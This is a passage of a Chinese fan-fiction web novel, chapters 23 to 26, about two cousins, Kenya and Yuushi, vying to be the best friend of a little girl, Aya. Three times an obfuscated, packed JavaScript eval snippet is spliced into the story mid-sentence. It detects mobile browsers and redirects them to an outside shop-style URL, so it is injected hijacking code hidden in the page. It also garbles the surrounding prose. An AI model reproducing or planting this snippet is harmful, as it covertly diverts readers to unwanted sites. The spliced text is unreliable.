“我嫉妒?我嫉妒?” 忍足谦也“噌”的一下从沙发上蹿了起来:“我怎么可能嫉妒!小彩和我最要好,要不是我这次出去了,她也会告诉我的!” “哦……”忍足侑士面色如常:“她去你家告诉你?” 他终于舍得把视线从书页上移开,抬头看了眼气恼的堂弟,慢悠悠地说:“如果我没记错的话,谦也住在离我们三个红绿灯的地方吧……小彩跑去那么远的地方告诉你?” 忍足谦也蹙着眉反驳道:“才不是!我会每天都来找小彩,才不用小彩跑去找我呢!” “原来如此,真是贴心的朋友。” 忍足侑士倏地露出一个笑容,叫他心中陡然升起一种不好的预感。 他警惕地看着自家堂哥,果然在下一秒听到了令他心头一震的话。 “看到那里了吗?”忍足侑士笑眯眯地指了指自己的窗户:“窗户对面就是小彩的房间——离得这么近,随便说说话都能听清楚吧。” 他眨了眨眼睛,“小彩总是跑来和我说话,叫人怪不好意思的。” 忍足谦也发誓,他从忍足侑士那个混蛋的笑容里看到了“小人得志”四个大字。 他咬紧牙关,嘴硬道:“那又怎么样?我今天就和小彩交换电话号码,天天给她打电话——” “我记得小彩房间里就装了电话,打电话根本就不用大声喊,也不用趴到窗边,小彩可以趴在床上听,也可以坐在床上听,比扒窗户舒服多了。” 他越说越觉得有道理,越发理直气壮起来:“反正就是比扒在窗户上说话强,还安全!” 他一边说一边观察着堂哥的反应,却没从他脸上看出一点慌乱的神色。 忍足谦也心中的那种不好的预感愈发强烈,面上却还是摆出了一副毫不在意的模样。 “电话吗,”忍足侑士假作为难地蹙了蹙眉,“电话这种东西我们不太用得上欸,毕竟离得这么近……” 他环着手臂,回忆似的点了点下巴:“不过小彩喜欢说悄悄话,特意做了一个纸杯电话给我。” 说着他眨了眨眼,一副难为情的样子:“谦也你知道的,我不是很喜欢打电话……不过谁让我和小彩是好朋友呢,小彩高兴就好。” 他、他无的放矢! 忍足谦也觉得现在自己的血压一定很高,他努力深呼吸,尝试让自己平静下来。 吸气,呼气。 吸气,呼气。 吸气,呼…… 啊啊啊啊啊! 还呼吸什么啊! 气死他算了! 平时闲着没事儿干的时候就和他打电话聊天的人是谁啊? 是披着忍足侑士皮的什么不知名物种吗?! 这个世界上就没有比忍足侑士更喜欢打电话的人了! 打电话这种事情对于他来说简直就像呼吸一样简单! 忍足谦也越想越气,却嘴拙得找不到合适的话反驳。 根本没有可以反驳的点嘛! 侑士确实住在小彩家旁边,确实只隔了一条窄窄的过道,也确实随随便便就能和小彩沟通到。 他又不是喜欢说大话的人,他说小彩做了一个纸杯电话给他肯定是真的做了,他惯会用事实来堵旁人的嘴。 忍足谦也吸了吸鼻子,这下他不就完全输给他了吗? 不行,他要想想办法才行…… 他要证明,他才是小彩最要好的好朋友! 外面传来了些许汽车驶入的声响,声音在隔壁的院子里消失,兄弟俩心有灵犀地暂时休战。 忍足谦也抱着背包往楼下冲,忍足侑士则不紧不慢地把书收好,走到窗边。 片桐家的院墙边没种什么植物,很容易就能看到院子里的情况,他拉开窗户,和站在院子里的片桐彩打了声招呼。 “小彩,你回来了,”他尽量放大声音,好叫对方能够听见:“今天感觉怎么样?” 小彩兴奋地冲着他挥挥手:“很好,侑士今天不用去上课吗?要不要来我家玩?” “好,我一会儿就来,”他点点头:“谦也去找你了……” 他话音未落,傻瓜堂弟的声音突然在楼下响起。 “小彩!早上好!” 忍足谦也兴冲冲地跑到小彩身边,热情地拉着她的手问东问西,小彩见到他也很高兴,两个小孩叽叽喳喳地聊了起来。 忍足侑士收回目光,下楼的步子加快几分。 …… “小彩,我给你带了很多好吃的好玩的!” 忍足谦也一手拉着片桐彩的手,一手倒腾着他鼓鼓囊囊的背包,嘴里也一刻不停地说着话。 “我和翔太去了六甲山牧场,那里有好多好多小羊。” 他兴冲冲地从包里拔出一根奶酪棒,剥开外壳送进小彩嘴里:“我们去的时候刚好赶上那里的一个集会,好吃的可多了,这个就是我在那个集会上买的,你尝尝看。” 片桐彩用舌头把奶酪棒顶到另一边,含含糊糊地说:“甜甜的,好香啊……谢谢谦也,我也给你带了手信哦。” “诶?好巧,我和小彩真是心有灵犀啊!” 忍足谦也煞有其事地点点头,自认为不着痕迹地问出那句他最想知晓答案的话:“那我和小彩是不是最要好的朋友?” 小彩赞同地点着脑袋:“当然啦。” 听到答案,忍足谦也心中一喜,可这种喜悦的泡泡在下一秒就被好朋友亲手戳破了。 “还有侑士,侑士也是最要好的朋友。” “什么?!” 听到小伙伴的话,忍足谦也顿觉晴天霹雳。 他一直觉得他和小彩是顶顶要好的,就算听到侑士今天说的那些话也依旧这么认为,可小彩竟然说侑士也是最要好的朋友? 不可饶恕,不可饶恕!! 最要好的朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672963|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就只能有一个!! 不过…… 他下意识为小彩开脱。 小彩是不是不明白“最要好”是什么意思呢? 他深吸一口气,平静了一下心绪后再次问道:“小彩,‘最要好’的意思就是在所有人里,和某一个人关系第一好——小彩和谁第一好?我还是侑士?” 谦也今天好奇怪哦。 小彩咬着奶酪棒,困惑地望着面前的好朋友:“我和谦也、和侑士都是第一好呀。” 忍足谦也手忙脚乱地解释道:“不是,第一好的意思是只能有一个人……” “可是第一也能有很多人啊,”她不解地眨了眨眼:“上次侑士在课上小测还和另一个小孩都是第一呢,侑士说那个好像叫……唔……并列第一?” “谦也和侑士都和我最要好,那谦也和侑士不可以并列第一,都是小彩最要好的好朋友吗?” 忍足谦也诡异地沉默了。 他的思维好像陷入了一个巨大的怪圈,无论他往哪个方向走都会碰壁。 小彩说的对,确实是有并列第一这种说法。 已知“最”等于“第一”,“第一”不止一个可以并列,那“最”是不是也可以并列? “最要好”也可以不止一个,这样看来,他和侑士并列为小彩“最要好的好朋友”好像也没什么毛病…… 不过总感觉好像有哪里不太对…… 他的思绪乱糟糟地团在一起,他想要抓住一个小节点把这团凌乱不堪的思绪团解开,却总是与它失之交臂。 “谦也,我说的对不对呀?” 小彩眨巴着水灵灵的大眼睛,一脸真诚地看着他:“是我说的不对吗?你为什么突然不理我了。” 忍足谦也张了张嘴想要说什么,努力了半天却什么也没能说出来。 他最终还是偃旗卧鼓,和脑子里杂乱的思绪和解,慢吞吞地认下了:“小彩说的对,我和侑士都是小彩最要好的好朋友。” 他说话时咬牙切齿,小彩却没怎么注意到。 因为她的另一个“最要好的好朋友”来了。 她高兴地冲着迎面走来的忍足侑士招了招手:“侑士!快过来呀!走快一点点嘛!” 忍足侑士听话地加快了脚步,走到他们身边。 堂弟一脸恍惚的模样令他有些好奇,他扭脸望向一旁的小彩:“小彩,你们刚才在聊什么?谦也怎么傻呆呆的。” “咦?有吗?” 小彩细细打量了一下谦也。 很好,很可爱的一张脸,哪里呆呆的了,不是和平时完全没区别吗? 她毫无负担地说:“刚才我和谦也在说最要好的朋友的事情。” “那是什么?可以详细说说吗?” “就是,谦也问我我和谁最要好,我说我和……” 小彩话音未落,就被忍足谦也剧烈的咳嗽声打断了。 她担忧地扶着谦也,体贴地拍拍他的背:“谦也,你感冒了吗?” 忍足谦也摇摇头:“没有,我就是不小心被呛到了……” “谦也都这么大了,怎么还像个小孩子一样这么不小心。” 自家堂哥的话令忍足谦也对他怒目而视,他有心反驳,却因着喉咙里火辣辣的感觉说不出来话。 还真是对不起啊,我本来就是小孩子! 你忍足侑士不也是小孩子吗?! 忍足侑士摆出一副好哥哥的模样,也来装模作样地拍拍堂弟的背,只轻轻拍了几下,就又把话题往回引:“对了,小彩和谁最要好?” 他顿了顿,故作小心地抬眼:“……我可以问吗?” 24.第 24 章 “对了,小彩和谁最要好——我可以问吗?” 奇怪的感觉。 忍足谦也看了堂哥一眼又一眼,总感觉他说话很奇怪,却又找不出奇怪在哪里。 他的神态好像和平时没什么区别,可忍足谦也总觉得手痒痒,有点想揍他。 他大约是想从小彩那里听到一些自己想要听到的答案,无非就是想要听到小彩说“最要好的朋友是侑士”这种话。 不过可惜的是,他注定是听不到了。 忍足谦也莫名有些骄傲。 虽然小彩的答案也不是他想要听到的那种,但是他比侑士先知道答案欸! 他目露怜悯地看着自家堂哥,在心里暗暗摇头。 想来侑士这个家伙是不会轻易淌眼泪的,一会儿听到答案,他会是什么样的表情? 忍足谦也很期待。 堂弟复杂的眼神吸引了忍足侑士的注意,他瞥了眼一看就憋着坏的谦也,却并不放在心上。 “这有什么不可以问的,谦也和侑士都是我最要好的朋友呀。” 听到和自己预想中没什么区别的话,忍足侑士脸上也没有露出什么与平常不同的神色,反倒是忍足谦也得意起来——小彩说的时候可是把他放在前面,他终究还是压了侑士一头! 真不愧是他! 道顿堀町最受欢迎的小孩忍足谦也! 他不断地冲着堂哥使眼色,那股得意劲儿叫忍足侑士很想踹他一脚。 忍足侑士完全不想搭理臭屁的堂弟,扭过脸去不看他。 他摸了摸小彩的脑袋,柔声道:“小彩也是我最要好的朋友。” 片桐彩懵懵地望着他:“那谦也呢?” 忍足侑士的目光下意识投向堂弟。 他和忍足谦也对视一眼,彼此都觉得有些晦气,忍足谦也更是轻哼一声别过脸,一副不想与他狼狈为奸的模样。 他没有丝毫犹豫:“小彩忘了吗,我和谦也是家人。” 既然是家人,就用不着做什么朋友了。 他也没兴趣和谦也做什么“最要好的兄弟”,谦也应该也是一样。 他们年纪相仿,经常被放在一起比较,比起友好相处,他们的竞争相对来说要更多一点。 虽然他们关系确实不错,经常在一起玩,有事没事还会打打电话,但他们也并不认为他们之间的关系好到“最要好”的地步。 片桐彩似懂非懂地点点头:“原来如此。” 家人这样的关系在小彩看来,是最最高级的关系了。 家人之间天生拥有血缘的联系,就像她和爸爸,就像她和奶奶姑姑,血缘是切不断的。 比起易碎的朋友关系,小彩更向往家人之间的联系。 她羡慕地看着两个好朋友,要是她也和他们是家人就好了。 这样的话,她大概就永远都不会失去自己最要好的朋友了。 她可以做他们的家人吗? 她莫名想道。 片桐彩的家人一直都很爱她,只要是她想要的东西,不论有多难弄,他们都会给她弄来,对她有求必应。 久而久之,小彩也养成了一个有些霸道却尚且朦胧的观念。 只要是她想要的东西,她就一定要争取、一定要得到。 不行,她得想想办法。 她一定要成为他们的家人才行! 小彩火热的目光黏在两位好朋友身上,忽闪忽闪的眼睛叫人想忽视都忽视不了。 忍足谦也挠了挠头,最终还是憋不住心里的好奇,小声问道:“小彩,你怎么这样看着我……们?” 他私认为小彩只是在看他而已,可侑士一直直勾勾地盯着他们看,总感觉有点可怜,最终他还是不情不愿地补上一个“们”字。 忍足侑士也望了过来,等着小彩的回答。 小彩的目光在他们的脸上停留了一阵,不好意思地垂下头。 她不断地用鞋底碾着一粒不知从何而来的小石子,发出“歘歘”的声响。 “没什么,”她的声音低低的,并没有要把自己的计划暴露出来的打算:“先进去家里玩吧?我带了好吃的糖果回来和你们分享。” 她一手牵着一个朋友,脚步轻快地进了家里。 片桐纪久今天要出去谈生意,并未在家里待多久,他给几个孩子准备好一些零食、嘱咐他们到点会有外送午餐送过来就匆匆出门了。 没有大人在家,家里就是孩子们的天下。 小彩兴冲冲地带着小伙伴们霸占了客厅。 “今天这里就是小彩大王的天下啦!” 她跳到沙发上,对着自己“打下来”的“江山”挥斥方遒。 忍足谦也相当捧场地拍拍手:“小彩大王威武!” 忍足侑士也随着他拍拍手,“小彩大王接下来要做什么?” 好问题! 片桐彩还沉浸在刚刚的家人问题里无法自拔,她肃着脸沉思片刻,小手在下巴上不断摩挲。 要成为家人的话,第一步应该做些什么好呢? 小彩努力动用她那不太好使的小脑袋瓜,认真地在脑子里刨她所知道的“对策”。 首先,应该试探他们的态度吧。 她想起她最近和沙友理姑姑一起看的一部电视剧。 电视剧里的姐姐想要把走失多年的妹妹接回家住,但又害怕她不能接受,就先慢慢接近她,和她成为朋友,打探她的喜好,点她爱吃的菜,一边吃菜一边听听她的口风。 打探完口风,就可以说出“我们是一家人”之类的话了,最后还要和对方抱头痛哭才行。 小彩蹙着眉,相当严肃地点点头。 她和侑士谦也已经是朋友了,接下来的一步应该是打探他们的喜好。 小彩的目光在铺满整个小几的零食堆上睃巡着。 没有饭菜的话,零食也行吧? 她改站为坐,拍了拍自己身旁的位置:“侑士,谦也,来坐呀。” 两个小伙伴自然毫无异议,分别在她身旁两侧坐下了。 既然是要探听喜好,那态度就要好一点。 片桐彩回忆着电视里的那个姐姐的笑容,努力学习了一下,冲着小伙伴们整整齐齐地露出八颗洁白的牙齿。 她一边露着牙齿,一边问道:“侑士,谦也,你们喜欢吃什么呀?” 忍足谦也被她森然的笑容吓得打了个寒噤,忍足侑士倒是没有那么夸张,但他似乎也不怎么好,忍足谦也看到他交叠的手轻轻蹭了一下。 可小彩却没感觉到有什么不对,依旧是那副奇怪的神情,见他们久久不答,她还好奇地歪了歪脑袋。 更奇怪了……!! 忍足谦也的鸡皮疙瘩都快飞起来了。 虽然他平时大大咧咧的,但和侑士比起来,还是他更会照顾人的情绪。 他搓着自己小臂的皮肤,接下这个话茬:“我喜欢蔬菜汁和关东煮里的带筋肉,侑士的话……他喜欢各种各样的西米露,还有青剑鱼之类的……” 忍足谦也还在絮絮叨叨地说着他和堂哥的喜好,小彩则把目光投向小几上的食物。 可恶,都是零食,一个他们喜欢的食物都没有! 她拧着眉,心中难免有些焦虑。 这样下去的话,她的大计才刚刚走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687441|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到第一步就要夭折了! 这可不行! 小彩坐立难安,宛如火烧屁股一样从沙发上弹起来,在小伙伴们惊讶的眼神中踩着拖鞋,“啪嗒啪嗒”跑向玄关的电话机,火速拨号订外卖。 被落下的兄弟俩对视一眼,以为是有什么十万火急的事情,也担心地跟着跑了出去。 他们才将将走到玄关口,就听见女孩在和电话那头的人讲电话的声音。 “对,我需要一份香煎剑鱼,关东煮有什么都上一份,多来点带筋肉,饮品要蔬菜汁,再来几份西米露……” “口味?唔……有几种?” “哦,全都来一份好了。” 女孩平时说话慢悠悠的,此刻她的嘴巴却像一挺机枪一样,快速不断地扫射着。 忍足侑士蹙着眉,和同样不明所以的堂弟对视一眼——这是在做什么啊…… 小彩吃错药了? 片桐彩订餐的动作相当熟练,她最后报出一串地址,和电话那头的人约定好送餐时间就挂断了电话,一扭头就看到两张熟悉的脸。 她迅速挂上了刚才的笑容,语调柔和:“你们怎么来啦?是饿了吗?不用担心,饭菜很快就到了,我点了你们喜欢吃的食物哦!” 又来了。 他们是来到什么平行世界了吗? 这真的是小彩吗? 忍足侑士不由得想到昨天看的那个科幻故事,故事里外星人就是这么入侵地球的。 他们通过各种手段,易容成地球人的模样,融入地球人的生活,给人吃他们最喜欢的食物,就等着他们吃饱以后把他们吞进肚子——吃饱以后的人会变得幸福,幸福的人更有营养,让人在幸福中死去好像也更“人道”。 小彩今天看起来好奇怪…… 那种奇怪的笑容真的是地球人会做出来的吗? 故事里外星人也是这样僵硬地笑,因为他们的脸皮是高科技合成的,不像真正的面部肌肉那么灵活…… 忍足侑士越想越觉得恐怖,伸手掐了堂弟一把作为提示,把脑袋正在放空的堂弟给掐得一蹦三尺高。 他恨铁不成钢地瞥了眼正在揉后背的忍足谦也,赶紧说句话啊! 谦也对着堂哥怒目而视,刚要问他为什么掐他,忍足侑士就先一步开了口:“谢谢小彩——谦也他就是太高兴了,他一高兴就喜欢乱蹦。” “我明明是被你……”掐到跳起来的! 忍足谦也话还未尽,就被堂哥一把捂住了嘴,他在堂哥手下不断挣扎着,嘴巴里还发出“呜呜”的声音。 忍足侑士瞥了他一眼,面无表情道:“谦也感动坏了,小彩不用管他。” 这个笨蛋谦也…… 算了,再救你一次吧。 谁让我是你哥呢。 忍足侑士毫无负担地拖着堂弟,一派自然。 “原来如此,”片桐彩感动地点点头:“不用太感谢我,我只是做了我该做的事情。” 天哪! 她的大计是不是还挺有希望的呢? 她记得电视里那个妹妹对于姐姐给她买好吃的这件事情就很感动。 这不是和谦也的反应一模一样嘛! 小彩的心轻快地跳着,像是在电线上蹦蹦跶跶的小麻雀。 比起她那边的欢快,忍足侑士的神色堪称凝重。 什么叫“她该做的事情”? 让人吃饱饭以后、幸福地被吃掉吗? 他瞥了眼杵在一旁不知道和“小彩”说了什么、正在傻乐的堂弟,心底涌起了一阵微妙的无力感。 有这样傻瓜一样的队友,他们还能逃出生天吗? 25.第 25 章 忍足侑士心中不好的预感很快就抵达了现实。 在谦也嘁嘁喳喳地给小彩展示自己带回来的伴手礼的时候,门铃响了。 “啊,应该是我点的外送到了!” 片桐彩跳下沙发,步履轻快地朝着门口的位置跑去。 她从衣帽架上挂着的小羊背包里随意地掏出几张福泽谕吉*捏在手里,叽叽咕咕地和外送员交流了一番,这才让外送员把那一大堆食物给他们摆上餐桌。 外送员接过她手里的钞票,预告了一会儿来收餐具的时间便从片桐家离开了。 忍足侑士看着铺满一整张餐桌的食物不由得有些头疼。 好多……!! “来吃饭吧!”小彩学着电视里的做法,笑眯眯地把食物往他们面前推了推,面容看起来有几分慈祥:“这些都是你们喜欢吃的,多吃点。” 忍足谦也倒是没察觉出有什么不对。 他捧起一杯蔬菜汁呷了一口,蔬果的味道融合得恰到好处,他猛地又灌了一口。 小彩紧张兮兮地打探着他的神色:“味道怎么样?应该还可以吧?” 忍足谦也竖起大拇指,一脸赞许:“很好喝!” “那就好,我还担心你不喜欢呢。” 她这会儿倒是露出了一个和平日里相差无几的笑容,眼睛亮晶晶的,弯成了一道月牙:“侑士怎么不吃?” 她把那份香煎剑鱼往他面前推了推,“这家的店的煎鱼排特别好吃,你也尝尝呀。” 忍足侑士只是看着她不说话,一双嘴唇抿得紧紧的,像是在警惕着什么。 侑士这是怎么了? 他今天好奇怪哦,总是不说话。 片桐彩被他的反应弄得一头雾水。 她的目光在盘子里的鱼排上来回睃巡着,这份剑鱼排色泽诱人,香气扑鼻,好像没什么不妥的地方。 啊,是不是他今天不想吃鱼? 有时候她也会不想吃某样东西的,她完全可以理解小伙伴的心情。 小彩想了想,推了一份西米露到他面前:“那侑士吃这个吧?如果不喜欢芒果的话还可以换别的——我叫了好几种口味呢。” 忍足侑士倏地伸手捏了一下她的脸颊。 柔软的,像捏住了一小片云。 片桐彩不明所以地歪了歪脑袋:“怎么了吗?” 他摇摇头:“没什么。” 他盯着被推到自己面前的西米露看了一会儿,终于还是拿起勺子,慢吞吞地吃了起来。 或许是他的思维太过发散了。 小彩就是小彩,不是外星人假扮的。 也许只是因为她今天很高兴,所以才对他们有点过分热情…… 芒果浓郁的甜香味和着清甜的椰奶滑入他的喉咙,西米煮得恰到好处,弹牙得很。 他默默接受了小伙伴的好意,享受起这份美味的甜品。 那头忍足谦也也“吭哧吭哧”地吃着关东煮,在大夏天吃这样的食物,也是有点难为他了。 好在片桐家的中央空调一直兢兢业业地工作着,小彩还总是给他取不同口味的蔬菜汁消消热意,他倒也没那么热了。 小彩也跟着他们尝了几样小食,很快肚子就吃得饱饱的。 她不断地给小伙伴们添菜,忙碌得像是在花丛中穿梭的小蜜蜂,这边吃完了添一点,那边吃完了也添一点。 “嗝。” 忍足谦也揉揉肚子,打了个饱嗝。 小彩支着脸:“谦也吃饱了吗?” 忍足谦也老老实实地点点头。 很好,她计划的第一步已经达成一半了。 她迫不及待地扭脸看向另一个小伙伴:“侑士呢?也吃饱了吗?” 小彩看起来好像很期待的样子,热切又急迫。 忍足侑士脑子里莫名其妙再次回想起昨天看的那个科幻故事,立刻警觉起来。 真是好有目的性的举动,也就谦也那个傻瓜看不出来了。 他瞄了两眼正在揉肚子消食的堂弟,不由得在心里默默叹了口气。 小彩歪着脑袋等他回复,脸侧的小碎发随着她的动作轻轻摇晃着,大约是等得久了有些不耐烦,她又拉了拉小伙伴的衣袖。 “侑士?你怎么了?” 她的话音刚落,脸就又被好朋友捏了一把。 这次对方的动作不像上一次那样柔和,被捏了几下以后他像是来了劲儿似的,两只手贴到她的脸上,狠狠地揉搓了几下。 小彩的脸被他揉得皱了起来,她不喜欢这样,下意识想要拍掉小伙伴的手。 只是她的手刚刚举起来的一瞬间,似乎是想到了什么,抬起又放下,没有拍下去。 小彩的脸触感很真实,忍足侑士再一次确认了这真的是他的好朋友,而不是什么奇怪的外星人。 他终于放下手,开始苦思冥想起来。 如果这样的小彩不是外星人的话,那她就是有别的什么目的咯? 可是小彩能有什么目的呢…… 是想拜托他们一起去参加下个月的集章活动吗? 不,不对,那个他们不是已经答应她了吗…… 除此之外还有别的什么事情吗? 他在脑子里把最近发生的事情想了个遍,都没能找到一个可以对应得上的。 小彩的目的……小彩的目的…… 正当他还沉浸在自己的思绪中的时候,自家堂弟满含怒气的声音冲进了他的耳朵。 “喂!侑士!看你干的好事!” 他抬头一看,一张可怜兮兮的、布满泪痕的脸出现在他的视野里。 小彩哭了。 她哭的时候总是很安静,一双明亮的眼睛里氤氲着潮湿的水汽,在她的眼底慢慢聚拢,变成一颗豆大的泪珠从睫毛上滚落。 忍足谦也手忙脚乱地捏着纸巾给她擦眼泪,只是他擦的速度还没有她落泪的速度快。 她的眼泪就像一长串透明的玻璃珠哗啦啦地顺着脸颊滚下来,忍足谦也擦完一滴又落下一滴,最后干脆直接把纸巾抵在她的眼下,等着纸巾湿透再换一张新的—— 他的熟练完全归功于家里那个狗都嫌的弟弟翔太,被弟弟荼毒久了,做起这事儿也尤其粗糙。 小彩哭得更惨了。 忍足谦也手里的纸巾更换的速度也跟着加快不少。 忍足侑士犹豫着问道:“这是怎么了?” “还能怎么了!”忍足谦也瞪了堂哥一眼:“你看小彩的脸,都被你捏成什么样子了!” 他凑近摸了摸小彩的脸,红红的。 他原以为是小彩自己哭红的,仔细看看好像又不是那么回事儿。 他刚才好像是有点用力…… “抱歉,小彩,”他从堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13702170|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟手里夺过纸巾,中止了他抗洪般的举动:“我刚才弄痛你了吗?” 片桐彩心中的委屈简直要从眼里喷涌出来。 她重重地点点头:“你为什么突然掐我的脸!还那么用力地揉!” 面对小伙伴的问题,忍足侑士无言以对。 他总不好说自己是因为自己发散的思维误以为她是外星人,通过捏脸确认她是不是外星人假扮的吧…… 这也太蠢了些。 忍足侑士到底还是一个小孩,还是大家口中的“神童”,多多少少还是有一点点要面子,犹豫了一会儿,最终还是决定找个合理的理由糊弄过去。 “是因为小彩太可爱了,我一时没忍住……” 这个理由倒也不完全算是假话。 一开始的那两下确实是为了确认捏的,可之后的那几下就不是了。 小彩被捏了脸还乖乖地把脸放在他手里任他揉搓,叫他幻视了一下柔软可爱的小狗。 可爱的生物总是共通的,但拿小动物来和自己的好朋友做比较还是有些不合适。 不过他看的书还太少,习得的知识还不够多,暂且也想不到什么更合适的比喻了。 想到这里,他的目光不由得游移了几分。 总之,这样的理由应该可以糊弄过去吧? 应该没问题吧…… 可惜天不遂人愿,片桐彩一下子就看出了他不甚明显的心虚。 自他开口以来,小彩就一直关注着他的每一个神态。 她是个相当敏感的孩子。 在恶意中生活过一段时间以后,她在察言观色这件事情上已经达到了炉火纯青的地步—— 也许在大人面前还不够看,但在小孩之间绝对够用了。 她一眼就看出来,自己的这位好朋友没有说真话。 好朋友对她说谎这件事简直比天塌了都要严重。 他现在不说实话,以后是不是就要绝交了? 她以前的朋友们和她绝交都是这样的流程,没有一个例外的——先是沉默、冷淡,再是说谎,最后就是提出绝交。 每一条都和他今天的状态对应上了。 小彩这下再也克制不住,“哇”的一声哭了出来。 她哭得很大声,一头埋进了担忧地在她腿边蹭来蹭去的小狗的毛里。 小狗骑士的毛毛厚实,她的哭声一下子就变小了许多。 “呜呜呜呜呜……” 她似乎说了句什么,可声音都被小狗浓密的毛毛给吞没了。 忍足侑士不知所措地望向在人际关系的处理上,素来比他要好的堂弟:“小彩在说什么?她怎么突然哭得这么……惊人?” 忍足谦也也一头雾水。 他暂时也顾不上堂哥,老练地给小彩拍拍背,哄着她让她别把脸埋在毛毛里哭,免得喘不上气。 哄了好一阵,小彩才把脸抬起来,抽抽噎噎地被谦也扶着坐在沙发上。 忍足侑士也顾不上自己的面子里子了,凑到疑似被他惹哭的小伙伴身边,可还未等他开口道歉,就被哭成一张小花脸的小彩气鼓鼓地瞪了一眼。 既然他都要和她绝交了,那她就先发制人好了! 她超大声地哼了一声,眼睛一眨不眨地盯着这位疑似要和她绝交的小伙伴。 “我再也不要和侑士——不对,是忍足……玩了!” 26.第 26 章 片桐彩是一个说一不二的小孩,说不和谁玩,就不和谁玩。 一直到今天为止,她真的一次都没有再理会过忍足侑士。 忍足侑士一开始还想着找小彩说清楚,但她每次见到他,都是一副避之而不及的样子,他慢慢地也就歇了这份心思。 谁还没有个朋友了。 忍足侑士郁闷地揪了一片从院墙边探出头的凤仙花花瓣,粉红的花汁浸染了他的指腹。 他把手指捻在叶片上蹭了蹭,却没能蹭掉。 更郁闷了。 早晨小鸟总是很活跃的,清凌凌的鸟鸣声在他的头顶响起,一道不怎么明显的开窗声混入其中。 昨夜刚下了雨,地面上多了几面小水洼,他垂着脑袋,悄悄地透过小水洼望去,果然看到了那颗白绒绒的脑袋。 她躲在窗后探头探脑地朝这里望过来,忍足侑士心中的躁意稍稍褪去几分,唇畔也带了几分笑意。 这些天里,她也不是第一次这样偷偷看他了,想来也不是真的想要和他绝交。 闹别扭是不可取的。 他心底“噗噜噜”地涌出一汪坏水来,有心要吓她一下。 他慢腾腾地抬起头,故意做出要往后看的动作,那扇窗户顿时“砰”的一下关上了,顺带还拴上了保险栓。 忍足侑士心情大好,唇畔的笑意愈发浓重了。 远处悠悠传来的口哨声打破了他心中的那点愉悦,领头的高年级前辈带着一长串的、他的同级生慢慢出现在他的视野里—— 是的,今天是小学生们的开学日。 他要去上学了。 一想到这件事情,他的心情就没那么美妙了。 小彩还在上幼稚园呢。 依着片桐叔叔的性子,他肯定要把小彩送去附近最好的幼稚园,可附近最好的幼稚园就是谦也的那所幼稚园。 要知道,小彩本来就和谦也更要好一点,要是他们在同一所幼稚园念书,他们的关系肯定会更好的。 到时候还有他的位置吗? 虽然现在想这件事似乎有点早了——毕竟小彩和他的“绝交”还没有结束,但这种事情也不得不防,必须提早准备应对方案才行。 可学还是要上的。 他忧心忡忡地跟上这支上学的队伍,跟着大部队远去了。 …… 另一边,忍足谦也早早地就给自己穿戴好,又帮着小废物弟弟翔太整理了一下书包,只等幼稚园的娃娃车来接了。 忍足翔太打着哈欠,一脸迷蒙地望着自己的哥哥:“谦也,你今天心情很好?” “嗯?有那么明显吗?”忍足谦也摸摸自己的脸,嘴硬道:“我心情每天都很好。” “不,还是有点不一样的,”忍足翔太没大没小地揪了一下哥哥的脸皮:“你的脸笑得像米糠酱菜里的渍黄瓜。” 渍黄瓜皱巴巴的,谦也的脸也皱巴巴的,真是完美的比喻。 忍足翔太为自己日渐提升的文化水平点了个赞。 这么完美的比喻他都会用了,过两年上一年级的时候考第一名岂不是手到擒来的事情? 忍足谦也无语地弹了一指弟弟的脑袋瓜:“你才笑得像渍黄瓜,多看点书吧,一点文化也没有的臭小鬼。” “嘁,你又好得到哪里去了……” 忍足翔太捂着自己的脑袋,嘟嘟囔囔的:“你自己也不过是只会说‘老太太笑得像朵盛开的菊花’这种句子的人,还好意思说我……” 忍足谦也无力反驳。 这确实是他在实践日记上写出来过的话——他弟弟亲眼看着他写的。 他干脆捏起弟弟手里那块没吃完的小糕饼,随意塞进他嘴里,堵住了他那张喋喋不休的嘴巴。 忍足谦也今天心情确实很好,好就好在他接下来会和好朋友小彩上同一所幼稚园。 如果小彩被安排在他的班级里的话,那他完全就可以和暑假的时候一样,每天都能和小彩凑在一起玩了。 他在幼稚园里可是一呼百应、有无数好朋友和小弟的人物,罩着小彩也不是难事。 他可以介绍自己的朋友们给小彩认识,小彩以后就会有更多的朋友了。 有多多的朋友,小彩也会开心的吧? 娃娃车在他们家门口停下,“嘟嘟”地两下喇叭,忍足谦也牵着小小的弟弟一道上了车,心里翻涌着无数美好的愿景。 小彩,幼稚园见啦! …… “阿嚏!” 片桐彩被一个喷嚏打蒙了,坐在餐桌边满脸呆相。 片桐纪久给女儿擦了擦脸,脸上写满了担忧:“小彩,是不是感冒了?爸爸带你去看一看医生怎么样?” 